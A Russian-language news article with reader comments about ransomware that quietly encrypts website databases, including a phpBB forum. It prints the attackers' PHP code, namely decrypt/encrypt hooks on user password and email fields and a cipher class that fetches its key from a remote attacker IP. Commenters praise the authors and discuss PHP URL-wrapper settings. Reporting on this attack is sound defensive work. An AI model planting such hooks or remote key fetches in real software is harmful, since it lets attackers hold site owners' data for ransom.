Всё больше персональных компьютеров становятся жертвами троянов-вымогателей, которые шифруют документы и требуют выкуп в биткоинах за их расшифровку. Теперь на ту же наживку начали ловить владельцев веб-сайтов. О новых приёмах преступников сообщила компания High-Tech Bridge.

Специалисты впервые столкнулись с новым видом атаки в декабре 2014 года, когда за помощью обратилась одна из финансовых компаний: их веб-сайт вышел из строя и выдавал ошибку БД.

Тщательное расследование выявило поразительную вещь. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад. Несколько серверных скриптов модифицировали таким образом, чтобы шифровать информацию перед занесением в БД и расшифровывать её «на лету» при получении запроса к базе. Ключ шифрования хранился на удалённом сервере.

Работа зловреда долго оставалась незамеченной для пользователей веб-приложения, пока в день «Д» злоумышленники не пошли в атаку и не удалили ключ шифрования.

Сотрудники High-Tech Bridge посчитали это уникальным случаем таргетированной атаки, но не тут-то было. Вскоре с аналогичным вымогательством столкнулся ещё один клиент, у которого враги зашифровали… базу с учётными данными пользователей форума phpBB.

Здесь использовался такой же сценарий. Функцию “sql_fetchrow()” в файле factory.php модифицировали, чтобы она выдавала расшифрованные значения полей с именами пользователей и адресами электронной почты.

if(isset($result['user_password'])){ 
 $result['user_password'] = $cipher->decrypt($result['user_password']); 
} 
if(isset($result['user_email'])){ 
 $result['user_email'] = $cipher->decrypt($result['user_email']); 
}

Шифрование этих полей добавили в другие скрипты.

$sql_ary = array( 
 'username'=>$user_row['username'], 
 'username_clean' => $username_clean, 
 'user_password' => (isset($user_row['user_password']))? 
    $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''), 
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])), 
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']), 
 'group_id' => $user_row['group_id'], 
 'user_type' => $user_row['user_type'], 
);

Адрес ключа шифрования прописан в конфигурационном файле.

class Cipher { 
 private $securekey, $iv; 
 function __construct($textkey) { 
  $this->securekey = hash('sha256',$textkey,TRUE); 
  $this->iv = mcrypt_create_iv(32); 
 } 
 function encrypt($input) { 
  return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); 
 } 
 function decrypt($input) { 
  return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); 
 } 
} 
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/ 
sdfds90f8d9s0f8d0f89.txt'); 
$cipher=new Cipher($key); 

Злоумышленник терпел два месяца, прежде чем удалить ключ с удалённого сервера и потребовать выкуп $1000.

На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда: файл1, файл2.



18 комментариев

  1. 29.01.2015 at 00:26

    Вот это тема!
    НУ что поздравляю разрабов вируса. Хороший код написал.!

  2. 29.01.2015 at 07:50

    Любой код можно изменить так, что не один антивирус его не будет детектить, при это полезная нагрузка не изменится. Не с чем поздравлять то!!!!

    • 29.01.2015 at 13:18

      Ключевое: что до такого додумались! 🙂 И мало того — реализовали!!
      Все равно молодцы. Котелок варит 🙂

  3. 29.01.2015 at 08:18

    В такой статье было бы полезно указать, каким именно образом зловред попадает на сервер, а то не понятно, паниковать или нет?

    • 29.01.2015 at 12:18

      Да не суть важно. Распространяться может разными методами.
      Тут важнее как противодействовать и детектировать. Понятно что не статическим анализом кода. Бекапы тоже не помогут, что печально =(

    • 29.01.2015 at 12:50

      Сами рассудите:
      1. Оказывается, троян установили на сервере ещё шесть месяцев (!) назад.
      2. Отсюда выходит, что в статье описывается не сам трой, а его модуль по крипту.
      3. А отсюда выходит, что если сам сайт защищен ( и нету чудо-админа который подкинется на фишинговые письма(как вариант)), то не стоит паниковать.

  4. 29.01.2015 at 16:24

    Вот это уже реально ужас. Если такое можно делать снаружи, через дырки в коде… Кошмар!!! Да почти все сайты/сервисы имеют уязвимости.

    • 29.01.2015 at 19:55

      «Интернет может служить причиной ухудшения здоровья. Особенно психического.»
      ЗдравМин.

  5. 01.02.2015 at 14:18

  6. 01.02.2015 at 15:40

    На сегодняшний день ни один антивирус не определяет инсталляторы этого зловреда…

    Ну да, откуда на СЕРВЕРЕ антивирус и зачем…

  7. 30.03.2015 at 22:47

    Что за бред! Это не троян. Просто в исходник прописали модуль шифрования который брал ключ с другого сервера. Через 6 месяцев когда юзеров и постов на форуме добавилось чел удалил ключ и потребовал выкуп. Получилось что данные в базе все зашифрованы. Все проще простого.

  8. 07.05.2015 at 22:36

    $key=file_get_contents(‘https://103.13.120.108/sfdoif89d7sf8d979dfgf/
    sdfds90f8d9s0f8d0f89.txt’);
    На сервере включена Url обертка для чтения удаленных файлов.
    Она включается в php.ini, который всегда находится вне web каталога.
    По умолчанию она выключена и читаются только локальные файлы.
    Если это включено для file_get_contents, include, то проблем может вызвать больше и не только таким способом можно действовать. Проблемы url wrappers для этих функций обсуждаются в сети. Это лишь один из вариантов рализации.
    Так что, не нужно бездумно менять настройки безопасности, выставленные по умолчанию.

    • 07.05.2015 at 23:07

      По умолчанию allow_ url_fopen включена, но некоторые хостеры отключают ее из соображений безопасности. У них такая история не прошла бы. Allow_url_include по умолчанию выключена и включать ее крайне не рекоммендуется.

  9. BOMBERuss

    15.10.2015 at 03:32

    Теперь и сайты шифруют… Ну началоооось…

Оставить мнение